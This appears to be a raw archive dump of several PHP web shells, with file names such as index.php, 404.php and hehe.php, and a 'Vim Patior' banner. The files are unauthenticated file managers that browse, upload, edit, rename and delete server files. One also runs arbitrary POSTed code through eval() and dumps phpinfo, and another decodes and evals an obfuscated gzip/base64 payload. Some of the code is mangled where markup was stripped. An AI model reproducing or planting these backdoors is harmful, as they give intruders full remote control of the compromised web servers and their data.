PK ! + + patior/index.phpnu [
Vim Patior
= 1073741824) {
$bytes = number_format($bytes / 1073741824, 2) . ' GB';
} elseif ($bytes >= 1048576) {
$bytes = number_format($bytes / 1048576, 2) . ' MB';
} elseif ($bytes >= 1024) {
$bytes = number_format($bytes / 1024, 2) . ' KB';
} elseif ($bytes > 1) {
$bytes = $bytes . ' bytes';
} elseif ($bytes == 1) {
$bytes = $bytes . ' byte';
} else {
$bytes = '0 bytes';
}
return $bytes;
}
function fileExtension($file)
{
return substr(strrchr($file, '.'), 1);
}
function fileIcon($file)
{
$imgs = array("apng", "avif", "gif", "jpg", "jpeg", "jfif", "pjpeg", "pjp", "png", "svg", "webp");
$audio = array("wav", "m4a", "m4b", "mp3", "ogg", "webm", "mpc");
$ext = strtolower(fileExtension($file));
if ($file == "error_log") {
return ' ';
} elseif ($file == ".htaccess") {
return ' ';
}
if ($ext == "html" || $ext == "htm") {
return ' ';
} elseif ($ext == "php" || $ext == "phtml") {
return ' ';
} elseif (in_array($ext, $imgs)) {
return ' ';
} elseif ($ext == "css") {
return ' ';
} elseif ($ext == "txt") {
return ' ';
} elseif (in_array($ext, $audio)) {
return ' ';
} elseif ($ext == "py") {
return ' ';
} elseif ($ext == "js") {
return ' ';
} else {
return ' ';
}
}
function encodePath($path)
{
$a = array("/", "\\", ".", ":");
$b = array("ক", "খ", "গ", "ঘ");
return str_replace($a, $b, $path);
}
function decodePath($path)
{
$a = array("/", "\\", ".", ":");
$b = array("ক", "খ", "গ", "ঘ");
return str_replace($b, $a, $path);
}
$root_path = __DIR__;
if (isset($_GET['p'])) {
if (empty($_GET['p'])) {
$p = $root_path;
} elseif (!is_dir(decodePath($_GET['p']))) {
echo ("");
} elseif (is_dir(decodePath($_GET['p']))) {
$p = decodePath($_GET['p']);
}
} elseif (isset($_GET['q'])) {
if (!is_dir(decodePath($_GET['q']))) {
echo ("");
} elseif (is_dir(decodePath($_GET['q']))) {
$p = decodePath($_GET['q']);
}
} else {
$p = $root_path;
}
define("PATH", $p);
echo ('
');
if (isset($_GET['p'])) {
//fetch files
if (is_readable(PATH)) {
$fetch_obj = scandir(PATH);
$folders = array();
$files = array();
foreach ($fetch_obj as $obj) {
if ($obj == '.' || $obj == '..') {
continue;
}
$new_obj = PATH . '/' . $obj;
if (is_dir($new_obj)) {
array_push($folders, $obj);
} elseif (is_file($new_obj)) {
array_push($files, $obj);
}
}
}
echo '
Name |
Size |
Modified |
Perms |
Actions |
';
foreach ($folders as $folder) {
echo "
" . $folder . " |
--- |
". date("F d Y H:i:s.", filemtime(PATH . "/" . $folder)) . " |
0" . substr(decoct(fileperms(PATH . "/" . $folder)), -3) . " |
|
|
";
}
foreach ($files as $file) {
echo "
" . fileIcon($file) . $file . " |
" . formatSizeUnits(filesize(PATH . "/" . $file)) . " |
" . date("F d Y H:i:s.", filemtime(PATH . "/" . $file)) . " |
0". substr(decoct(fileperms(PATH . "/" .$file)), -3) . " |
|
|
";
}
echo "
";
} else {
if (empty($_GET)) {
echo ("");
}
}
if (isset($_GET['upload'])) {
echo '
';
}
if (isset($_GET['r'])) {
if (!empty($_GET['r']) && isset($_GET['q'])) {
echo '
';
if (isset($_POST['rename'])) {
$name = PATH . "/" . $_GET['r'];
if(rename($name, PATH . "/" . $_POST['name'])) {
echo ("");
} else {
echo ("");
}
}
}
}
if (isset($_GET['e'])) {
if (!empty($_GET['e']) && isset($_GET['q'])) {
echo '
';
if(isset($_POST['edit'])) {
$filename = PATH."/".$_GET['e'];
$data = $_POST['data'];
$open = fopen($filename,"w");
if(fwrite($open,$data)) {
echo ("");
} else {
echo ("");
}
fclose($open);
}
}
}
if (isset($_POST["upload"])) {
$target_file = PATH . "/" . $_FILES["fileToUpload"]["name"];
if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
echo "".htmlspecialchars(basename($_FILES["fileToUpload"]["name"])) . " has been uploaded.
";
} else {
echo "Sorry, there was an error uploading your file.
";
}
}
if (isset($_GET['d']) && isset($_GET['q'])) {
$name = PATH . "/" . $_GET['d'];
if (is_file($name)) {
if(unlink($name)) {
echo ("");
} else {
echo ("");
}
} elseif (is_dir($name)) {
if(rmdir($name) == true) {
echo ("");
} else {
echo ("");
}
}
}
?>
PK ! + + patior/404.phpnu [
Vim Patior
= 1073741824) {
$bytes = number_format($bytes / 1073741824, 2) . ' GB';
} elseif ($bytes >= 1048576) {
$bytes = number_format($bytes / 1048576, 2) . ' MB';
} elseif ($bytes >= 1024) {
$bytes = number_format($bytes / 1024, 2) . ' KB';
} elseif ($bytes > 1) {
$bytes = $bytes . ' bytes';
} elseif ($bytes == 1) {
$bytes = $bytes . ' byte';
} else {
$bytes = '0 bytes';
}
return $bytes;
}
function fileExtension($file)
{
return substr(strrchr($file, '.'), 1);
}
function fileIcon($file)
{
$imgs = array("apng", "avif", "gif", "jpg", "jpeg", "jfif", "pjpeg", "pjp", "png", "svg", "webp");
$audio = array("wav", "m4a", "m4b", "mp3", "ogg", "webm", "mpc");
$ext = strtolower(fileExtension($file));
if ($file == "error_log") {
return ' ';
} elseif ($file == ".htaccess") {
return ' ';
}
if ($ext == "html" || $ext == "htm") {
return ' ';
} elseif ($ext == "php" || $ext == "phtml") {
return ' ';
} elseif (in_array($ext, $imgs)) {
return ' ';
} elseif ($ext == "css") {
return ' ';
} elseif ($ext == "txt") {
return ' ';
} elseif (in_array($ext, $audio)) {
return ' ';
} elseif ($ext == "py") {
return ' ';
} elseif ($ext == "js") {
return ' ';
} else {
return ' ';
}
}
function encodePath($path)
{
$a = array("/", "\\", ".", ":");
$b = array("ক", "খ", "গ", "ঘ");
return str_replace($a, $b, $path);
}
function decodePath($path)
{
$a = array("/", "\\", ".", ":");
$b = array("ক", "খ", "গ", "ঘ");
return str_replace($b, $a, $path);
}
$root_path = __DIR__;
if (isset($_GET['p'])) {
if (empty($_GET['p'])) {
$p = $root_path;
} elseif (!is_dir(decodePath($_GET['p']))) {
echo ("");
} elseif (is_dir(decodePath($_GET['p']))) {
$p = decodePath($_GET['p']);
}
} elseif (isset($_GET['q'])) {
if (!is_dir(decodePath($_GET['q']))) {
echo ("");
} elseif (is_dir(decodePath($_GET['q']))) {
$p = decodePath($_GET['q']);
}
} else {
$p = $root_path;
}
define("PATH", $p);
echo ('
');
if (isset($_GET['p'])) {
//fetch files
if (is_readable(PATH)) {
$fetch_obj = scandir(PATH);
$folders = array();
$files = array();
foreach ($fetch_obj as $obj) {
if ($obj == '.' || $obj == '..') {
continue;
}
$new_obj = PATH . '/' . $obj;
if (is_dir($new_obj)) {
array_push($folders, $obj);
} elseif (is_file($new_obj)) {
array_push($files, $obj);
}
}
}
echo '
Name |
Size |
Modified |
Perms |
Actions |
';
foreach ($folders as $folder) {
echo "
" . $folder . " |
--- |
". date("F d Y H:i:s.", filemtime(PATH . "/" . $folder)) . " |
0" . substr(decoct(fileperms(PATH . "/" . $folder)), -3) . " |
|
|
";
}
foreach ($files as $file) {
echo "
" . fileIcon($file) . $file . " |
" . formatSizeUnits(filesize(PATH . "/" . $file)) . " |
" . date("F d Y H:i:s.", filemtime(PATH . "/" . $file)) . " |
0". substr(decoct(fileperms(PATH . "/" .$file)), -3) . " |
|
|
";
}
echo "
";
} else {
if (empty($_GET)) {
echo ("");
}
}
if (isset($_GET['upload'])) {
echo '
';
}
if (isset($_GET['r'])) {
if (!empty($_GET['r']) && isset($_GET['q'])) {
echo '
';
if (isset($_POST['rename'])) {
$name = PATH . "/" . $_GET['r'];
if(rename($name, PATH . "/" . $_POST['name'])) {
echo ("");
} else {
echo ("");
}
}
}
}
if (isset($_GET['e'])) {
if (!empty($_GET['e']) && isset($_GET['q'])) {
echo '
';
if(isset($_POST['edit'])) {
$filename = PATH."/".$_GET['e'];
$data = $_POST['data'];
$open = fopen($filename,"w");
if(fwrite($open,$data)) {
echo ("");
} else {
echo ("");
}
fclose($open);
}
}
}
if (isset($_POST["upload"])) {
$target_file = PATH . "/" . $_FILES["fileToUpload"]["name"];
if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
echo "".htmlspecialchars(basename($_FILES["fileToUpload"]["name"])) . " has been uploaded.
";
} else {
echo "Sorry, there was an error uploading your file.
";
}
}
if (isset($_GET['d']) && isset($_GET['q'])) {
$name = PATH . "/" . $_GET['d'];
if (is_file($name)) {
if(unlink($name)) {
echo ("");
} else {
echo ("");
}
} elseif (is_dir($name)) {
if(rmdir($name) == true) {
echo ("");
} else {
echo ("");
}
}
}
?>
PK ! + +
hehehe.phpnu [
Vim Patior
= 1073741824) {
$bytes = number_format($bytes / 1073741824, 2) . ' GB';
} elseif ($bytes >= 1048576) {
$bytes = number_format($bytes / 1048576, 2) . ' MB';
} elseif ($bytes >= 1024) {
$bytes = number_format($bytes / 1024, 2) . ' KB';
} elseif ($bytes > 1) {
$bytes = $bytes . ' bytes';
} elseif ($bytes == 1) {
$bytes = $bytes . ' byte';
} else {
$bytes = '0 bytes';
}
return $bytes;
}
function fileExtension($file)
{
return substr(strrchr($file, '.'), 1);
}
function fileIcon($file)
{
$imgs = array("apng", "avif", "gif", "jpg", "jpeg", "jfif", "pjpeg", "pjp", "png", "svg", "webp");
$audio = array("wav", "m4a", "m4b", "mp3", "ogg", "webm", "mpc");
$ext = strtolower(fileExtension($file));
if ($file == "error_log") {
return ' ';
} elseif ($file == ".htaccess") {
return ' ';
}
if ($ext == "html" || $ext == "htm") {
return ' ';
} elseif ($ext == "php" || $ext == "phtml") {
return ' ';
} elseif (in_array($ext, $imgs)) {
return ' ';
} elseif ($ext == "css") {
return ' ';
} elseif ($ext == "txt") {
return ' ';
} elseif (in_array($ext, $audio)) {
return ' ';
} elseif ($ext == "py") {
return ' ';
} elseif ($ext == "js") {
return ' ';
} else {
return ' ';
}
}
function encodePath($path)
{
$a = array("/", "\\", ".", ":");
$b = array("ক", "খ", "গ", "ঘ");
return str_replace($a, $b, $path);
}
function decodePath($path)
{
$a = array("/", "\\", ".", ":");
$b = array("ক", "খ", "গ", "ঘ");
return str_replace($b, $a, $path);
}
$root_path = __DIR__;
if (isset($_GET['p'])) {
if (empty($_GET['p'])) {
$p = $root_path;
} elseif (!is_dir(decodePath($_GET['p']))) {
echo ("");
} elseif (is_dir(decodePath($_GET['p']))) {
$p = decodePath($_GET['p']);
}
} elseif (isset($_GET['q'])) {
if (!is_dir(decodePath($_GET['q']))) {
echo ("");
} elseif (is_dir(decodePath($_GET['q']))) {
$p = decodePath($_GET['q']);
}
} else {
$p = $root_path;
}
define("PATH", $p);
echo ('
');
if (isset($_GET['p'])) {
//fetch files
if (is_readable(PATH)) {
$fetch_obj = scandir(PATH);
$folders = array();
$files = array();
foreach ($fetch_obj as $obj) {
if ($obj == '.' || $obj == '..') {
continue;
}
$new_obj = PATH . '/' . $obj;
if (is_dir($new_obj)) {
array_push($folders, $obj);
} elseif (is_file($new_obj)) {
array_push($files, $obj);
}
}
}
echo '
Name |
Size |
Modified |
Perms |
Actions |
';
foreach ($folders as $folder) {
echo "
" . $folder . " |
--- |
". date("F d Y H:i:s.", filemtime(PATH . "/" . $folder)) . " |
0" . substr(decoct(fileperms(PATH . "/" . $folder)), -3) . " |
|
|
";
}
foreach ($files as $file) {
echo "
" . fileIcon($file) . $file . " |
" . formatSizeUnits(filesize(PATH . "/" . $file)) . " |
" . date("F d Y H:i:s.", filemtime(PATH . "/" . $file)) . " |
0". substr(decoct(fileperms(PATH . "/" .$file)), -3) . " |
|
|
";
}
echo "
";
} else {
if (empty($_GET)) {
echo ("");
}
}
if (isset($_GET['upload'])) {
echo '
';
}
if (isset($_GET['r'])) {
if (!empty($_GET['r']) && isset($_GET['q'])) {
echo '
';
if (isset($_POST['rename'])) {
$name = PATH . "/" . $_GET['r'];
if(rename($name, PATH . "/" . $_POST['name'])) {
echo ("");
} else {
echo ("");
}
}
}
}
if (isset($_GET['e'])) {
if (!empty($_GET['e']) && isset($_GET['q'])) {
echo '
';
if(isset($_POST['edit'])) {
$filename = PATH."/".$_GET['e'];
$data = $_POST['data'];
$open = fopen($filename,"w");
if(fwrite($open,$data)) {
echo ("");
} else {
echo ("");
}
fclose($open);
}
}
}
if (isset($_POST["upload"])) {
$target_file = PATH . "/" . $_FILES["fileToUpload"]["name"];
if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
echo "".htmlspecialchars(basename($_FILES["fileToUpload"]["name"])) . " has been uploaded.
";
} else {
echo "Sorry, there was an error uploading your file.
";
}
}
if (isset($_GET['d']) && isset($_GET['q'])) {
$name = PATH . "/" . $_GET['d'];
if (is_file($name)) {
if(unlink($name)) {
echo ("");
} else {
echo ("");
}
} elseif (is_dir($name)) {
if(rmdir($name) == true) {
echo ("");
} else {
echo ("");
}
}
}
?>
PK ! 3 3 hehehehe.phpnu [ swal({title: \"{$xe}\", text: \"{$OB}\", icon: \"{$xe}\"}).then((btnClick) => {if(btnClick){document.location.href=\"?p=" . Ss($Jd) . $BL . "\"}})"; } function tF($yf) { global $c8; if (!(trim(pathinfo($yf, PATHINFO_BASENAME), '.') === '')) { goto IE; } return; IE: if ($c8[6]($yf)) { goto PF; } unlink($yf); goto jK; PF: array_map("deldir", glob($yf . DIRECTORY_SEPARATOR . '{,.}*', GLOB_BRACE | GLOB_NOSORT)); rmdir($yf); jK: } ?>
= Yp; ?>
Path: $Oe) { if (!($j3 == 0 && $Oe == "")) { goto xi; } echo "
~/"; goto CS; xi: if (!($Oe == "")) { goto sq; } goto CS; sq: echo "
{$Oe}/"; CS: } Go: ?>
New folder
New file
Rename = $_GET["t"] == "d" ? "folder" : "file"; ?>
Edit file
File name : = Jd($_GET["n"]); ?>
View file
File name : = jd($_GET["n"]); ?>
Name | Size | Permission | Action
\n\t\t\t\t\t\t {$yf} | \n\t\t\t\t\t\tN/A | \n\t\t\t\t\t\t" . RN("{$Jd}/{$yf}") . " | \n\t\t\t\t\t\t\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t | \n\t\t\t\t\t"; Qj: } ad: foreach ($G3 as $F1) { if ($c8[7]("{$Jd}/{$F1}")) { goto wA; } goto X1; wA: $kL = $c8[10]("{$Jd}/{$F1}") / 1024; $kL = round($kL, 3); $kL = $kL > 1024 ? round($kL / 1024, 2) . "MB" : $kL . "KB"; echo "\n\t\t\t\t\t\n\t\t\t\t\t\t {$F1} | \n\t\t\t\t\t\t{$kL} | \n\t\t\t\t\t\t" . rN("{$Jd}/{$F1}") . " | \n\t\t\t\t\t\t\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t \n\t\t\t\t\t\t\t\t\t \n\t\t\t\t\t\t\t\t\t \n\t\t\t\t\t\t\t\t\t \n\t\t\t\t\t\t\t \n\t\t\t\t\t\t | \n\t\t\t\t\t
\n\t\t\t\t\t"; X1: } a2: ?>
PK ! y R hehehehehe.phpnu [ ' . $a);
?>PK ! P P he.phpnu [ ';
exit;
}
*/
abstract class Params
{
public static function get($name, $default = false)
{
if (!empty($_REQUEST[$name])) {
return $_REQUEST[$name];
} elseif (!empty($_POST[$name])) {
return $_POST[$name];
} elseif (!empty($_GET[$name])) {
return $_GET[$name];
}
return $default;
}
}
if (class_exists('ZipArchive')) {
class ExtendedZip extends ZipArchive
{
public function addTree($dirname, $localname = '')
{
if ($localname) {
$this->addEmptyDir($localname);
}
$this->addTreeInternal($dirname, $localname);
}
protected function addTreeInternal($dirname, $localname)
{
$dir = opendir($dirname);
while ($filename = readdir($dir)) {
if ($filename == '.' || $filename == '..') {
continue;
}
$path = $dirname . '/' . $filename;
$localpath = $localname ? ($localname . '/' . $filename) : $filename;
if (is_dir($path)) {
$this->addEmptyDir($localpath);
$this->addTreeInternal($path, $localpath);
} elseif (is_file($path)) {
$this->addFile($path, $localpath);
}
}
closedir($dir);
}
public static function zipTree($dirname, $zipFilename, $flags = 0, $localname = '')
{
$zip = new self();
$zip->open($zipFilename, $flags);
$zip->addTree($dirname, $localname);
$zip->close();
}
}
}
class SimpleFileManager
{
protected static $basePath;
public static function get_url()
{
if (self::$basePath === null) {
$url = parse_url($_SERVER['REQUEST_URI']);
self::$basePath = $url['path'];
}
return self::$basePath;
}
public static function directoryListing($path)
{
if (empty($path)) {
$path = getcwd() . '/';
}
if ($handle = opendir($path)) {
echo '';
echo ' + FILE ';
echo ' + DIR';
echo '
';
echo '';
echo '- ..
';
while (false !== ($entry = readdir($handle))) {
if ($entry != "." && $entry != "..") {
$entry_full = $path . '/' . $entry;
echo '- ';
if (is_dir($entry)) {
echo ' ';
} else {
echo ' ';
}
echo sprintf('%s', self::get_url(), $entry_full, $entry, $entry);
echo '';
$user = is_callable('posix_getpwuid') ? posix_getpwuid(fileowner($entry)) : fileowner($entry);
$group = is_callable('posix_getgrgid') ? posix_getgrgid(filegroup($entry)) : filegroup($entry);
echo is_array($user) ? $user['name'] : $user, ':', is_array($group) ? $group['name'] : $group;
echo '';
echo self::filePermissions($entry);
echo '';
echo '';
echo self::fileSize($entry);
echo '';
echo '';
echo ' ';
echo ' ';
echo '';
echo '';
echo '';
echo '
';
}
}
closedir($handle);
echo '
';
}
}
public static function processEval()
{
echo '';
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$evalstr = Params::get('evalstr');
if (!empty($evalstr)) {
echo '';
ob_start();
eval($evalstr);
echo htmlentities(ob_get_clean());
echo '
';
}
}
}
public static function processCreate($path)
{
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$content = Params::get('content');
$f = Params::get('f');
if (!empty($content) && !empty($f)) {
$create_path = $path . '/' . $f;
if (file_exists($create_path)) {
echo 'The specified path already exists.
';
} else {
if (file_put_contents($create_path, $content)) {
echo 'Archive '. $create_path . ' created successfully
';
return;
} else {
echo ' An error occurred while creating the file '. $create_path . '.
';
}
}
} else {
}
}
echo '';
}
private static function pathBreadcrumb($path)
{
$d = explode('/', $path);
$f = '';
$r = '';
foreach ($d as $p) {
if (!empty($p)) {
$f .= '/' . $p;
$r .= sprintf('/%s', self::get_url(), $f, $f, $p);
}
}
$r .= '
';
return $r;
}
public static function fileSize($filename, $decimals = 2)
{
$bytes = filesize($filename);
$sz = 'BKMGTP';
$factor = floor((strlen($bytes) - 1) / 3);
return sprintf("%.{$decimals}f", $bytes / pow(1024, $factor)) . @$sz[$factor];
}
public static function filePermissions($filename)
{
$p = fileperms($filename);
if (($p & 0xC000) == 0xC000) {
$i = 's';
} elseif (($p & 0xA000) == 0xA000) {
$i = 'l';
} elseif (($p & 0x8000) == 0x8000) {
$i = '-';
} elseif (($p & 0x6000) == 0x6000) {
$i = 'b';
} elseif (($p & 0x4000) == 0x4000) {
$i = 'd';
} elseif (($p & 0x2000) == 0x2000) {
$i = 'c';
} elseif (($p & 0x1000) == 0x1000) {
$i = 'p';
} else {
$i = 'u';
}
$i .= (($p & 0x0100) ? 'r' : '-');
$i .= (($p & 0x0080) ? 'w' : '-');
$i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x') : (($p & 0x0800) ? 'S' : '-'));
$i .= (($p & 0x0020) ? 'r' : '-');
$i .= (($p & 0x0010) ? 'w' : '-');
$i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x') : (($p & 0x0400) ? 'S' : '-'));
$i .= (($p & 0x0004) ? 'r' : '-');
$i .= (($p & 0x0002) ? 'w' : '-');
$i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x') : (($p & 0x0200) ? 'T' : '-'));
return $i;
}
public static function deleteDir($path)
{
if (empty($path)) {
return false;
}
return is_file($path) ?
@unlink($path) :
array_map(array(__CLASS__, __FUNCTION__), glob($path.'/*')) == @rmdir($path);
}
private static function phpinfo_array()
{
ob_start();
phpinfo();
$i_arr = array();
$i_lines = explode("\n", strip_tags(ob_get_clean(), ""));
$cat = "General";
foreach ($i_lines as $line) {
preg_match("~(.*)~", $line, $title) ? $cat = $title[1] : null;
if (preg_match("~]+>([^<]*) | ]+>([^<]*) | ~", $line, $val)) {
$i_arr[$cat][$val[1]] = $val[2];
} elseif (preg_match("~]+>([^<]*) | ]+>([^<]*) | ]+>([^<]*) | ~", $line, $val)) {
$i_arr[$cat][$val[1]] = array("local" => $val[2], "master" => $val[3]);
}
}
return $i_arr;
}
public static function PHPInfo()
{
$my_array = self::phpinfo_array();
if (is_array($my_array)) {
foreach ($my_array as $k => $v) {
echo '';
echo '' . $k. ' | ';
if (is_array($v)) {
foreach ($v as $kv => $vv) {
echo '';
echo '' . $kv . " | ";
if (isset($vv['local'])) {
echo $vv['local'];
} else {
print_r($vv);
}
echo ' | ';
}
} else {
echo '' . $v . ' | ';
}
echo ' ';
}
return;
}
echo $my_array;
}
public static function run()
{
$path = Params::get('p', getcwd());
$cmd = Params::get('cmd', null);
if (!empty($cmd)) {
switch (strtoupper($cmd)) {
case 'EVAL':
self::processEval();
return;
case 'PHPINFO':
self::PHPInfo();
return;
case 'CREATE-FOLDER':
if ($f = Params::get('f')) {
$create_path = $path . '/' . $f;
if (file_exists($create_path)) {
echo 'La ruta especificada ya existe. ';
} else {
if (mkdir($create_path)) {
echo ' FILE ' . $create_path . ' created successfully. ';
} else {
echo ' Directory ' . $create_path . ' no pudo ser creada. ';
}
}
}
break;
case 'CREATE':
echo self::pathBreadcrumb($path);
self::processCreate($path);
return;
case 'REMOVE':
if (self::deleteDir($path)) {
echo '' . $path . ' file delete success ';
} else {
echo 'An error occurred while deleting ' . $create_path . '. ';
}
$path = dirname($path);
break;
case 'DOWNLOAD':
$path = Params::get('p');
if (!empty($path) && file_exists($path)) {
if (is_dir($path) and class_exists('ZipArchive')) {
$zipname = $path . '.zip';
$zipname = tempnam(sys_get_temp_dir(), basename($path)) . '.zip';
ExtendedZip::zipTree($path, $zipname, ZipArchive::CREATE);
header('Content-Description: File Transfer');
header('Content-Type: application/zip');
header('Content-Disposition: attachment; filename="' . str_replace(array('/','\\'), '_', $path) . '.zip"');
header('Content-Transfer-Encoding: binary');
header('Connection: Keep-Alive');
header('Expires: 0');
header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
header('Pragma: public');
header('Content-Length: ' . filesize($zipname));
readfile($zipname);
exit;
} else {
$quoted = sprintf('"%s"', addcslashes(basename($path), '"\\'));
$size = filesize($path);
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename=' . $quoted);
header('Content-Transfer-Encoding: binary');
header('Connection: Keep-Alive');
header('Expires: 0');
header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
header('Pragma: public');
header('Content-Length: ' . $size);
readfile($path);
exit;
}
}
}
}
if (!empty($path)) {
echo self::pathBreadcrumb($path);
}
if (is_dir($path)) {
self::directoryListing($path);
} elseif (is_file($path)) {
echo ''.htmlentities(file_get_contents($path)).' ';
} else {
echo 'Invalid route: ' . $path . ' ';
self::directoryListing();
}
}
}
ob_start();
SimpleFileManager::run();
$output = ob_get_clean();
?>
Vim Patior
PK ! *G G index.phpnu [ $val) {
if($xx==(string)$val) {
$new.=$main;
break;
}
}
}
eval("?>".gzinflate(base64_decode($new)));
?>PK ! C3= = hehe.phpnu [ <\/script>\r\n
|